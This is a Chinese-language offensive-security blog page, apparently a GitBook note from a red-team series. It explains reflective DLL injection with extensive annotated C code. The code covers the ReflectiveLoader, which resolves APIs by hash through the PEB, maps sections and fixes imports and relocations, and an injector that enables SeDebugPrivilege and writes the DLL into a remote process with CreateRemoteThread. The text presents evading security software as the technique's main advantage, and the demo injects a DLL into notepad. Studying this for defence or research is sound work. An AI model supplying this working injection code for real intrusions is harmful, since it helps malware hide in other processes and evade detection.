Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 简介
  • ReflectiveLoader实现思路
  • 1.定位DLL在内存中的基址
  • 2.获取所需的系统API
  • 3.申请加载DLL所需的内存区域
  • 4.复制所有头+节表+节数据
  • 5.处理DLL的导入表
  • 6.处理DLL的重定位表
  • 7.调用DLL入口点
  • Inject的实现思路
  • 1.将DLL写入当前进程的内存
  • 2.提升进程权限
  • 3.使用LoadRemoteLibrary注入dll
  • 操作演示
  • 参考文章
  1. Shellcode加载器

反射dll注入(内嵌式)

上一页进程镂空注入(傀儡进程)下一页Web渗透

最后更新于7个月前

简介

与常规的DLL加载不同的是,反射DLL注入技术不依赖LoadLibrary函数来加载DLL,而是使用一个自定义的加载器ReflectiveLoader(通常嵌在DLL本身中)来执行加载过程,这个加载器负责解析DLL文件的头信息、导入函数的地址、处理重定位等初始化操作

这种技术的关键优势在于其隐蔽性,由于没有使用标准的加载API,因此不会在进程的模块列表中注册DLL这使得这种技术很难被基于这些特征的安全软件检测到

以下是ReflectiveLoader大致实现思路的思维导图:

ReflectiveLoader实现思路

1.定位DLL在内存中的基址

在ReflectiveLoader函数的代码实现中,首先调用caller函数来定位DLL在内存中的基址

// 调用caller定位DLL在内存的基址
uiLibraryAddress = caller();

以下是caller函数的定义,调用_ReturnAddress函数获取当前调用函数的返回地址,也就是caller函数下一条指令的地址

__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

上述得到返回地址后,随着这个地址往上逐字节遍历,直到找到PE头格式的字节为止,就是我们DLL的基址

// 遍历字节
while( TRUE )
{
	if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
	{	
        // 获取PE头
		uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
		
		if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
		{
			uiHeaderValue += uiLibraryAddress;
			
			if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
				break;
		}
	}
	uiLibraryAddress--;
}

2.获取所需的系统API

首先得到PEB的基址,再通过PEB找寻找到LDR

	// get the Process Enviroment Block
#ifdef WIN_X64
	uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

iBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

遍历InMemoryOrderModuleList链表来查找kernel32.dll和ntdll.dll的基址,随后遍历这两个dll的导出函数来获取所需的API:

  • kernel32:LoadLibrary、GetProcAddress、VirtualAlloc

  • ntdll:NtFlushInstructionCache

// 获取InMemoryOrderModuleList链表的第一个模块
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
	// 获取指向当前模块名称的指针
	uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
	
    // 设置循环次数为模块名称的长度 
	usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
	
    // 
	uiValueC = 0;

	// 开始计算模块名称的哈希值
	do
	{
		uiValueC = ror( (DWORD)uiValueC );
		// 如果模块名称使用小写字母,转换为大写字母计算哈希值
		if( *((BYTE *)uiValueB) >= 'a' )
			uiValueC += *((BYTE *)uiValueB) - 0x20;
		else
			uiValueC += *((BYTE *)uiValueB);
		uiValueB++;
	} while( --usCounter );

	// 如果模块名称的哈希值匹配kernel32.dll的哈希值
	if( (DWORD)uiValueC == KERNEL32DLL_HASH )
	{
		// 获取kernel32.dll模块的基地址
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

		// 定位到kernel32.dll的PE头
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

		
        // 定位kernel32.dll的导出表
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
		uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
		
		// 定位导出函数名称表和序号表
		uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
		uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

		usCounter = 3;
		
		// 遍历导出函数,寻找LoadLibraryA、GetProcAddress和VirtualAlloc
		while( usCounter > 0 )
		{
			// 计算当前导出函数名称的哈希值
			dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			
			// 通过函数名称哈希值来匹配我们想要的函数
			if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
			{
				// 定位导出函数地址表
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				// 获取指向我们想要的函数地址的指针
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

				// 根据哈希值判断并保存对应函数地址
				if( dwHashValue == LOADLIBRARYA_HASH )
					pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				else if( dwHashValue == GETPROCADDRESS_HASH )
					pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				else if( dwHashValue == VIRTUALALLOC_HASH )
					pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
		
				// 完成一个函数地址的获取,减少计数器
				usCounter--;
			}

			// 获取下一个导出函数的名称和序号
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
	}
    
    // 以下是获取ntdll的函数的地址
	else if( (DWORD)uiValueC == NTDLLDLL_HASH )
	{
		// get this modules base address
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

		// get the VA of the modules NT Header
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

		// uiNameArray = the address of the modules export directory entry
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

		// get the VA of the export directory
		uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

		// get the VA for the array of name pointers
		uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
		
		// get the VA for the array of name ordinals
		uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

		usCounter = 1;

		// loop while we still have imports to find
		while( usCounter > 0 )
		{
			// compute the hash values for this function name
			dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			
			// if we have found a function we want we get its virtual address
			if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
			{
				// get the VA for the array of addresses
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				// use this functions name ordinal as an index into the array of name pointers
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

				// store this functions VA
				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
					pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

				// decrement our counter
				usCounter--;
			}

			// get the next exported function name
			uiNameArray += sizeof(DWORD);

			// get the next exported function name ordinal
			uiNameOrdinals += sizeof(WORD);
		}
	}

	// 如果已找到所有需要的函数,退出循环
	if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
		break;

	// 移动到模块链表中的下一个模块
	uiValueA = DEREF( uiValueA );
}

3.申请加载DLL所需的内存区域

申请一片新的内存区域来装载DLL,内存区域的大小取决于PE结构中IMAGE_OPTIONAL_HEADER结构体中的SizeOfImage成员

注:虽然DLL已经加载进目标进程的内存里了,但为了正确执行DLL中的代码,ReflectiveLoader需要自行完成加载过程,例如内存分配、重定位和导入解析等步骤。这就是为什么还需要重新申请一块具有执行权限的内存区域的原因

// 获取DLL的NT头的VA(在内存状态下的地址)
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

// 在进程的地址空间中为DLL文件分配足够的内存,用于后续的加载和执行
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

4.复制所有头+节表+节数据

以下代码负责将DLL文件从临时加载的位置复制到新分配的内存区域,首先它复制PE头和所有节头,然后遍历所有节,将它们复制到新位置

// PE头+节表的大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
// DLL临时加载的位置
uiValueB = uiLibraryAddress;
// DLL被复制到的目标位置
uiValueC = uiBaseAddress;

// 逐字节复制PE头和所有节头到新位置
while( uiValueA-- )
	*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

// 计算第一个节头的虚拟地址,为复制节内容做准备。
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

// 遍历所有节,将它们从当前加载的位置复制到新内存位置。
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
	// uiValueB现在指向新内存位置中当前节的起始地址。
	uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

	// uiValueC指向当前节在DLL原始数据中的起始位置。
	uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

	// 逐字节复制当前节的内容到新位置。
	uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

	while( uiValueD-- )
		*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

	// 移动到下一个节头,准备复制下一节。
	uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

5.处理DLL的导入表

此过程的关键在于动态地解析并加载当前DLL依赖的外部DLL,并修正当前DLL的导入表,使其能够正确调用外部DLL的导出函数

// 定位导入表
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// 通过导入表的名称来遍历所有导入表
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
	// 使用上述获取到的LoadLibrary函数将依赖的DLL加载入内存
	uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
	
	// 获取导入表结构中的OriginalFirstThunk成员
	uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

	// 获取导入表结构中的FirstThunk成员(指向导出函数的地址)
	uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

	// 遍历导入表的所有导出函数
	while( DEREF(uiValueA) )
	{
        // 如果导出函数是通过序号导入的,则通过序号找到函数地址,然后修正当前DLL的IAT表
		if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
		{
			// 获取所依赖DLL的NT头
			uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

			// 获取所依赖DLL的导出表
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
			uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// 获取导出表中的导出地址表
			uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

			// 定位函数地址:首先计算目标函数在依赖DLL的导出地址表的偏移位置。这个位置的计算方法是通过取函数的序号并减去基序号(导出函数序号的最小值)得出来得的,然后这个偏移量再乘以sizeof(DWORD),就是目标函数在导出地址表的偏移位置。最后再加上uiAddressArray,此变量现在指向目标函数地址的指针	    
			uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

			// 将上述获取到的函数的实际地址写入导入地址表(IAT)中
			DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
		}
        // 如果导出函数是通过名称导入,则使用GetProcAddress函数获取函数地址,然后修正IAT表
		else
		{
			// 获取INT表的地址(其实我觉得,这里uiValueA换成uiValueD会更好,因为uiValueD在加载前后阶段都是指向INT表,这样代码表达得会更清晰点)
			uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

			// 使用GetProcAddress函数来获取目标函数的地址,随后修正IAT表
			DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
		}
		// 获取下一个导出函数
		uiValueA += sizeof( ULONG_PTR );
		if( uiValueD )
			uiValueD += sizeof( ULONG_PTR );
	}

	// 获取下一个导出表
	uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

6.处理DLL的重定位表

当DLL被加载到内存时,如果它们不能加载到预设的基地址上,操作系统就需要对它们进行重定位操作,这时我们就要修改DLL的重定位表

// 计算基址偏移量:当前DLL的实际加载地址减去预设的基地址
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

// 获取重定位表的地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

// 通过检查重定位表是否为空来判断是否存在重定位项
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
    // uiValueC指向第一个重定位块的地址
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

    // 开始遍历所有重定位块
    while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    {
        // 获取重定位块的地址
        uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

        // 获取重定位块中包含的重定位项的数量
        uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

        // uiValueD设置为当前块中的第一个重定位项
        uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

        // 遍历重定位项
        while( uiValueB-- )
        {
            // 根据重定位项的类型来修正相应的地址
            if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

            // 遍历下一个重定位项
            uiValueD += sizeof( IMAGE_RELOC );
        }

        // 遍历下一个重定位块
        uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    }
}

7.调用DLL入口点

最后ReflectiveLoader将控制权转移给DLL文件的入口点,入口点可以通过扩展PE头的AddressOfEntryPoint获取

// 获取DLL的入口点
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

// 刷新指令缓存,确保CPU的指令缓存没有旧的代码
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

// 调用DLLMAIN函数
// 此宏定义表示,如果DLL是通过LoadRemoteLibraryR注入的,则可使用第三个参数作为额外参数给DllMain
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR

((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

// 返回入口点的地址
return uiValueA;

Inject的实现思路

1.将DLL写入当前进程的内存

将反射dll的文件内容写入当前进程的内存

// 打开反射dll文件并获取其句柄
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
	BREAK_WITH_ERROR( "Failed to open the DLL file" );

// 获取反射dll文件的大小
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
	BREAK_WITH_ERROR( "Failed to get the DLL file size" );

// 分配一块堆内存用于存储反射DLL文件
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
	BREAK_WITH_ERROR( "Failed to get the DLL file size" );

// 将反射DLL文件的内容读入上述申请的堆内存
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
	BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

2.提升进程权限

提升当前进程的权限,使其获得调试其他进程得能力

// 打开当前进程的访问令牌
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{	
    // 此处的priv是一个Token_PRIVILEGE结构
	priv.PrivilegeCount           = 1;  //表示只调整一个权限
	priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  // 启用该权限
	
    // LookupPrivilegeValue函数查找SE_DEBUG_NAME权限(SeDebugPrivilege)的唯一标识符(LUID),此权限允许当前进程调试其他进程
	if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )		
        
        // AdjustTokenPrivileges函数将SeDebugPrivilege权限添加到令牌并启用它
		AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
	
	CloseHandle( hToken );
}

3.使用LoadRemoteLibrary注入dll

如下代码演示了DLL的注入过程,从打开目标进程,到将DLL注入该进程,主要依赖LoadRemoteLibraryR这个自定义函数,后面讲解此函数的实现思路

// 使用OpenProcess函数去打开目标进程
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
	BREAK_WITH_ERROR( "Failed to open the target process" );

// 使用LoadRemoteLibraryR实现将dll注入目标进程
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
	BREAK_WITH_ERROR( "Failed to inject the DLL" );

printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );

WaitForSingleObject( hModule, -1 );

3.1获取ReflectiveLoader函数的偏移

让我们来看看LoadRemoteLibrary是如何实现的,首先使用GetReflectiveLoaderOffset函数来获取ReflectiveLoader在DLL中的偏移

// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
	break;

GetReflectiveLoaderOffset函数首先确认DLL的架构与当前环境匹配,然后访问导出表,遍历所有导出函数名称直到找到"ReflectiveLoader"。

一旦找到,函数计算并返回ReflectiveLoader相对于DLL基地址的偏移量,这一偏移量对于实现DLL的反射注入至关重要,因为它使得注入代码能够在不使用传统加载方法的情况下,直接调用并执行DLL内的ReflectiveLoader函数

DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{	
	UINT_PTR uiBaseAddress   = 0;
	UINT_PTR uiExportDir     = 0;
	UINT_PTR uiNameArray     = 0;
	UINT_PTR uiAddressArray  = 0;
	UINT_PTR uiNameOrdinals  = 0;
	DWORD dwCounter          = 0;
#ifdef WIN_X64
	DWORD dwCompiledArch = 2;
#else
	// This will catch Win32 and WinRT.
	DWORD dwCompiledArch = 1;
#endif
	
    // uiBaseAddress初始化为dll的基址
	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

	// 获取DLL的PE头
	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

	// 检查DLL的架构(x32 or x64)
	if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
	{
		if( dwCompiledArch != 1 )
			return 0;
	}
	else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
	{
		if( dwCompiledArch != 2 )
			return 0;
	}
	else
	{
		return 0;
	}

	// 定位导出表
	uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    
    // 获取导出表在文件状态下的地址
	uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );

	// 获取导出函数名称表在文件状态下的地址
	uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );

	// 获取导出函数地址表在文件状态下的地址
	uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

	// 获取导出函数序号表在文件状态下的地址
	uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );	

	// 获取通过函数名称来导出的数量
	dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

	// 遍历所有导出函数
	while( dwCounter-- )
	{	
        // 获取导出函数的名称
		char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
		
        // 检查导出函数的名称是否是“ReflectiveLoader”
		if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
		{
			// 定位导出函数地址表
			uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );	
	
			// uiNameOrdinals提供ReflectiveLoader函数的序号,并通过此序号与导出函数地址表的起始位置计算,从而得出ReflectiveLoader函数的地址
			uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

			// 返回ReflectiveLoader函数在文件状态下的偏移量
			return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
		}
		
        // 指向下一个导出函数的名称
		uiNameArray += sizeof(DWORD);

		// 指向下一个导出函数的序号
		uiNameOrdinals += sizeof(WORD);
	}

	return 0;
}

3.2将DLL写入目标进程内存

// 在目标进程分配一段可读可写可执行的内存					
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
if( !lpRemoteLibraryBuffer )
	break;

// 将DLL写入目标进程的内存
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
	break;

3.3调用ReflectiveLoader函数

// 获取ReflectiveLoader函数的地址
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

// 创建远程线程执行ReflectiveLoader函数
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

操作演示

在ReflectiveDll.c编写DLL的功能代码,例如此处写了一个弹框代码

执行如下命令,将dll注入到记事本进程,可以发现记事本出现弹框

.\inject.exe [目标进程pid]

​

参考文章

  • https://idiotc4t.com/defense-evasion/reflectivedllinjection-variation

